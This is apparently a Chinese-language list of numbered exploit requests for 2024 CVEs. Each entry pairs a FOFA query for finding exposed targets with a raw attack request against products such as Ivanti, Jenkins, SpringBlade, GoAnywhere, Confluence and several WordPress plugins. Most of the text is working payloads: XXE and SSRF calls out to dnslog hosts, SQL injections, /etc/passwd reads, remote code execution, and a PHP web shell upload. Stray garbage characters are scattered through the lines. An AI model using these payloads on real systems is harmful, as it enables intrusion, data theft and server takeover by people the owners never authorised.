7 v0 Y- w! Q# s; n7 j<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
9 v5 i9 `/ h5 @" A* w1 h
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
, S3 j, m( b4 x$ wFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
' i6 S; k- u/ d  j* w4 I- U  zHost: 192.168.40.130:111
, N6 }5 l" i1 l6 J  qUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
! z5 ?' N. \, K( `& q& FConnection: close
7 T  S, _# p0 E8 P' u4 qContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

7 i/ X* h: e! e% VSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
2 ^9 z# Y7 ?2 i
( Z5 }. i" ?, t" i5 a
. ^) v' ?. i* F; y其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
5 e5 a/ q9 {+ o" CCVE-2024-0569
FOFA：title="TOTOLINK"
8 c+ O# j/ V* d: z# e/ TPOST /cgi-bin/cstecgi.cgi HTTP/1.1
9 f% R, u; ^( K  ]* MHost:192.168.0.1
Content-Length:41
: C) [; G) s1 GAccept:application/json,text/javascript，*/*;q=0.01
( v. o# z: h  }$ d6 [( N0 v' x1 sX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
0 W9 v8 p1 m$ g; c2 s7 E5 t7 ]Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
' }+ g6 J3 l) m1 v; c4 [Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
! n6 L& j3 Z. c. M. q  N
{
"topicurl":"getSysStatusCfg",
"token":""
}
% Q. i4 G" i! X' j$ \$ i* T6 k. O
105. SpringBlade v3.2.0 export-user SQL 注入
0 h- ?+ r# A$ F. m; o- ~6 jFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
% b3 n, N9 `) BGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ P% C, n* u1 W4 b8 w2 |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) j  T+ O4 K4 ?% Q$ Q. JBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 o& D/ V" B$ m/ hConnection: close
$ k$ U1 W2 H. u
/ _2 z6 H7 ^8 }8 Z) u
2 j2 h  o0 w5 O. K+ J/ E107. SpringBlade tenant/list SQL 注入
' y$ m  R$ F; x, |# {' V4 uFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
# Q& r2 ?- e( W9 fConnection: close

+ g6 r, u9 n+ h9 `* S
108. D-Tale 3.9.0 SSRF
! Q  }& [5 a) _) ZCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
  E5 t' c3 I/ \' p! c3 G: PGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 x0 ?6 A* j! h( v" aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
+ Q0 a* J, N& s) @

109. Jenkins CLI 任意文件读取
CVE-2024-23897
( ~' ?8 Z) A6 ]8 i  z8 s% hFOFA：header="X-Jenkins"
+ ]5 x7 M* N& PPOST /cli?remoting=false HTTP/1.1
$ ^8 M0 \# O5 M2 i* J& IHost:
1 q3 I0 x3 W* h' E7 v+ FContent-type: application/octet-stream
% Q" m. @! c0 f1 Z6 h) uSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; i6 {1 r6 \3 a6 g9 b9 \: o1 sSide: upload
' O' x7 T$ M1 F4 X8 [3 ~Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
* T/ N0 p, r3 P! y0 s
- C; R/ S+ K/ L5 o$ F
POST /cli?remoting=false HTTP/1.1
& O) q/ K" K7 J/ k5 MHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ J2 {) Z" G% O& T( e; \; Kdownload
/ p& z+ Z% l3 W, a, rContent-Type: application/x-www-form-urlencoded
# ~) Z4 y! o5 B& RContent-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
/ c) O; E# }- ][COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
. Q* R8 K' r4 f& _, X7 R( n% d1 e
7 w0 ^! \1 k( `5 A1 {
0 x/ y7 y5 t; [5 F! A2 n4 W110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
4 y. f- U; m1 d9 GHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
! K8 L( \9 O5 t6 {Accept: */*
Accept-Language: en
Accept-Encoding: gzip

( }: K5 D# J- Z+ T- Y* Z
1 U' W+ [( b1 B. C' D0 @) o111. WordPress Plugin HTML5 Video Player SQL注入
. F: a8 S( f; [$ w! a& F! z6 SCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
0 m, [( t( E/ t- L% m6 j6 mHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
2 q+ g) y7 E8 O  M- [Accept-Language: en
0 ]( o1 k* V  r4 j) LAccept-Encoding: gzip

" K7 J9 }$ u8 @9 T; s
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
& |; K7 G& a7 p* W3 E& p* ^% {4 RFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
* r4 W3 {. ?+ F2 Z9 h* x- vHost: {{Hostname}}
# T1 k' K& K  T0 b! P4 p- {6 F2 }1 @8 @Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

4 L$ a1 s2 c# A  n! o3 m
113. WordPress Automatic 插件任意文件下载和SSRF
; x" E( ]  F1 Y4 X+ sCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
6 F& v9 u0 d" \8 Z. T6 YUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
' }' z7 N. B, m' f3 m$ `Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
- b7 }* G/ ?. u, D* wFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
( b3 {- f; M: c; y  D  q7 F$ wHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 d/ h: q. j0 P2 q% t9 C3 {2 `Accept-Charset: utf-8
& g/ e8 m$ g' k; z  ]Accept-Encoding: gzip, deflate
. J+ `3 N, I# i( D  PConnection: close

& Q0 q& y$ l/ n2 j& V; y; v" t
/ _- `$ N# B, }5 N2 q5 C115. WordPress Bricks Builder <= 1.9.6 RCE
4 R0 p- R* B. {* i+ |CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
+ e  G, I. ?2 o+ O" b; y第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


$ l- [2 e% p& G0 R6 S# I! X, b  B9 p第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
8 _$ f5 d1 S9 y% lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& {1 C: G  g* hConnection: close
, Z) C1 Z8 p6 H, oContent-Length: 356
Content-Type: application/json
; U2 v. y2 y5 k+ z& RAccept-Encoding: gzip
# x) {$ i2 j2 j, U
( i% a3 N# a/ ?# u4 A1 p$ y$ [{
"postId": "1",
  "nonce": "第一步获得的值",
5 g( g0 }8 ]7 ]* F+ R, ~  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
6 Y1 i' q, G; s3 Y  Q# N        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
! l! T+ ~+ D. C        "objectType": "post"
0 k2 K1 ?% S% }$ ~7 v" c$ a" @      }
. K3 b! n2 s3 x7 N0 x    }
) T5 j8 Z3 e7 s9 W6 ^% o  }
}


& \; u$ M0 F/ J. a  S: u$ F- E116. wordpress js-support-ticket文件上传
- U9 C% @  ~8 tFOFA：body="wp-content/plugins/js-support-ticket"
. C: Y0 A: m2 D6 L4 a4 @9 ?POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
* d9 X! B( z+ ^. uHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
" P2 D$ {+ n! ]5 y/ B" {Content-Disposition: form-data; name="action"
2 L' [9 t# H( W& F( R. Hconfiguration_saveconfiguration
% S6 j1 x5 {% }( C9 h----------767099171
: t/ R+ S7 `8 l: q$ e$ AContent-Disposition: form-data; name="form_request"
jssupportticket
2 S$ o' E; ^. K% F% G, j----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
: i- ]( F" d, ~! ], [! V: S2 `Content-Type: image/png
----------767099171--
# D6 [4 L) U. e8 k5 H% T- g
" Y* f/ h* l0 I8 ~/ g
9 B' n) v& D1 T117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
" V9 V# O1 Q& J- |9 L. hFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
0 n) e1 ?* o. L/ n/ @6 EConnection: close
2 ]4 Y/ y  M& E  R' hUpgrade-Insecure-Requests: 1

4 ^& ]$ S) Z* M" M+ k! K( Y
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
) Q- o8 V) g/ z2 ICVE-2024-0939
FOFA：title="Smart管理平台"
! M0 ^- x/ ~0 OPOST /Tool/uploadfile.php? HTTP/1.1
3 _) s" t. p; ^9 s( VHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
: i! H% _9 T+ k* JOrigin: https://192.168.40.130:8443
% c1 Z3 C" _6 |) BReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
& {9 ~( ?7 J: J' l# z0 I% t# jSec-Fetch-Dest: document
/ b4 u3 k+ ]9 i* iSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- `% S5 p) X- D* ~- O  x  rTe: trailers
Connection: close
* e& u0 m  k' p2 Q8 s0 b% ?
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
0 s- b: r4 p1 A, B
<?php
system($_POST["passwd"]);
1 v1 A% d7 @! ]# Z& }/ C+ K?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
4 m) s- v! ]+ G
( n3 K- W# J" N8 F/home/src.php
-----------------------------13979701222747646634037182887--
6 m6 A# ?& E+ Y) v- U3 [
6 N% a, J. o+ Z8 V
, t; }$ }. T& `1 w& U2 R访问/home/src.php
( }- `% e# P5 h, d
/ P" Q9 B) @! o& o119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
# {! L- }1 f9 a/ r( N* D/ l* {POST /sysmanage/sysmanageajax.php HTTP/1.11
8 w" g+ I0 R3 K2 ]: k/ XHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% s+ u# h6 M% x7 s7 h) S+ ]/ jAccept-Encoding: gzip, deflate
  J6 a3 y# w& m7 Y# R+ Q' P3 WContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
2 d0 E& O3 C- e$ o$ T" zOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
/ P- ^* y+ w8 d- x  J, JSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
- }6 U/ {/ U$ t5 m  w+ rX-Forwarded-For: 1.1.1.1
2 B, G  }: z2 |$ KX-Originating-Ip: 1.1.1.1
5 g6 K4 e; U9 s: nX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
. w5 [: T! J! z" j# p, g) v2 n/ LConnection: close
( l5 m6 z4 k' p9 d3 C$ C0 ]$ M- z
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


4 t8 E0 E. ]9 |& k3 n120. 北京百绰智能S40管理平台导入web.php任意文件上传
' J: U6 D/ F) O7 \# T, W- iCVE-2024-1253
FOFA：title="Smart管理平台"
; m" o+ U6 s; [: x! t5 n* sPOST /useratte/web.php? HTTP/1.1
: _+ d1 [5 x( {Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
$ Y% L" e2 [+ y) nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( \  R  `9 ]  ]" rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ z$ o2 ]( W7 e+ H: eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 X' {( G8 u* w* @2 vAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
+ `; ]: }) w) h* y: R% LSec-Fetch-Dest: document
, ]9 A6 Z2 N, |, U4 R2 Q& Y( v& `Sec-Fetch-Mode: navigate
% P4 s5 s* q" D' ?, Q9 ~$ cSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
! Q$ y( I' O8 m* V+ o( \! hTe: trailers
6 b" @( B) F& u" WConnection: close
. v5 R( T! m1 p3 W& r$ n- ?% [
  \' o2 N; p! H  ?-----------------------------42328904123665875270630079328
; w& V' `* I+ h+ c! s( lContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
8 P4 C" t' x% g, L-----------------------------42328904123665875270630079328
# n1 F3 g# x0 dContent-Disposition: form-data; name="id_type"
2 K) ?& D8 f. q* j6 d; ^# i
+ q/ q3 p0 g1 }" C1
5 A+ f: J$ F% u7 O# n2 y* x-----------------------------42328904123665875270630079328
1 D/ n2 E# f. f$ ?Content-Disposition: form-data; name="1_ck"

, i! s) i$ R  ^1_radhttp
% _2 u$ O# L& Y( w  ]) X! |-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328
+ f% b! Z' a/ L6 h

, i" G* c, K5 L( }/ ]1 r' |* ?0 O文件路径/upload/2.php
+ [# P* \' ]1 R* o: h
% D; \' P/ g* p6 r) G121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
$ n( P1 D+ V- f& n% U! \5 E0 c- k5 N$ AFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
4 Q1 P6 C, a% U% s* _* JHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ ]7 B( K, @3 Z  _1 C1 nAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
' J% J+ A5 }! {2 |0 p- {Content-Length: 592
# }6 F! n) q$ lOrigin: https://192.168.40.130:8443
6 x6 _% e% J! i8 F; WUpgrade-Insecure-Requests: 1
9 t5 V+ u' c* K' T/ |Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 N  B( ^2 x4 q$ p, Z" uSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
1 r' B# x% M: H! }Te: trailers
Connection: close

( e: s* t( L: m) T+ g-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
, {6 b; R5 J2 O3 M-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
* I, _8 M! P6 \
1
. r+ g1 a% d" Y& i-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
; ^+ _3 F" ^& Q$ N
3 e/ u1 ^2 }4 }4 z% ^' E0 r1_radhttp
0 ?" U, ~2 _3 H7 K9 \-----------------------------42328904123665875270630079328
* E; Y9 c6 g$ H. @- ?# u, K* ]Content-Disposition: form-data; name="hidwel"
+ ^7 _+ `* y- J2 r! c: g
& `9 j: v) V6 |, Q: kset
9 x4 a; V. h3 p0 e2 V2 m' J0 v-----------------------------42328904123665875270630079328
. e5 A, ]; ]) Q; Y# z& y

boot/web/upload/weblogo/1.php
2 Y2 `6 D! {$ j1 h' c, K
% s' y4 L0 x8 }4 X: v/ O8 a122. 北京百绰智能s200管理平台/importexport.php sql注入
  v, X5 f, x) _, VCVE-2024-27718FOFA：title="Smart管理平台"
# U" c4 O0 w2 O% o) a/ i# \其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
4 K0 r8 o0 x% r. Q! A( ]GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
% F% ^2 J8 @% M& ?7 G: lHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 k0 M( V. w# j) W) Q& c7 n+ y+ PAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
7 n: u5 ^8 V! e; `0 oSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
0 L( v$ H, @/ I5 GSec-Fetch-Site: none
Sec-Fetch-User: ?1
( y0 W/ M0 U7 r& m( \1 eTe: trailers
9 `) ^* u" u3 m7 b4 C/ m7 i7 `Connection: close

/ G, y/ V  g" Q& w6 J
6 f- W! Q. f/ P. `3 f123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
$ d4 R$ |2 F1 g+ C: s2 b, hHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
3 G2 P. K/ Y+ z! ^/ n$ }* T& JContent-Type: application/x-www-form-urlencoded
  l+ v, Q, N5 r  U7 Q
( N4 g& Y2 z9 Q# Z9 P8 k. ~( ]9 xlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
3 n3 O6 T  ~' s) i  X0 k

124. 湖南建研工程质量检测系统任意文件上传
1 c4 l5 v1 U! R( {  B& YFOFA：body="/Content/Theme/Standard/webSite/login.css"
2 @8 l$ x# Z4 Z/ l1 m: p( v) y1 ]POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
. r' w5 y& a+ \7 lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 i: \! _) _1 GContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
9 ~6 L2 U! S* c+ e  M8 NAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ y& Z+ \5 J& \8 O# {2 v( Z* m0 A! SContent-Type: application/x-www-form-urlencoded

  h: ?+ D' N- M4 W9 GfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
( g+ k* K6 A) w+ ]

) Y$ k+ \# P2 F+ rhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
% G% E- x! _# h4 q$ C. W1 G
1 O) z* m; u# X1 K125. ConnectWise ScreenConnect身份验证绕过
2 i8 r3 }+ ^' `+ o' sCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
; C; @* k1 E6 S! M7 b
9 x" {$ A+ C7 M2 p7 P
使用方法
6 z; c9 J& r, h0 M9 ]  M$ m: Apython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
( _3 ^% h, {1 a: P* Z/ O

) ?; c9 v$ i8 G7 |6 U创建好用户后直接登录后台，可以执行系统命令。
3 v8 p  P6 u( e3 u# ^, j; }% H1 {
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
8 y9 H8 `: Q$ f+ v/ f8 P/ g1 c3 ~GET /static/../../../../../etc/passwd HTTP/1.1
" J" q- i# t" J* YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ c; D9 V7 p# e& qConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

2 d3 Y. N# e7 D: `; ?
, {) Z7 Y  e' T6 ~( K) A/ m  w127. 广联达Linkworks DataExchange.ashx XXE
' b. H( r4 s' J$ f4 {! y% I6 P& rFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
( Y) z. m! x& D% n6 ~6 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
! h, ~3 \9 W( |) z* BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 {) L6 ]! P# F3 EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ t& F+ N4 t7 q. ~. G! }$ n# LConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
. `0 `+ L' r- W" F" H' gPurpose: prefetch
! P: }' C( l5 C' B; N! u9 JSec-Purpose: prefetch;prerender

9 d! @) K$ e- F/ F, r- O------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
) I* \+ d1 M+ C' _! p, i* e6 S& O------WebKitFormBoundaryJGgV5l5ta05yAIe0
8 K( L* A: }2 i; @3 Z7 d' NContent-Disposition: form-data;name="Params"
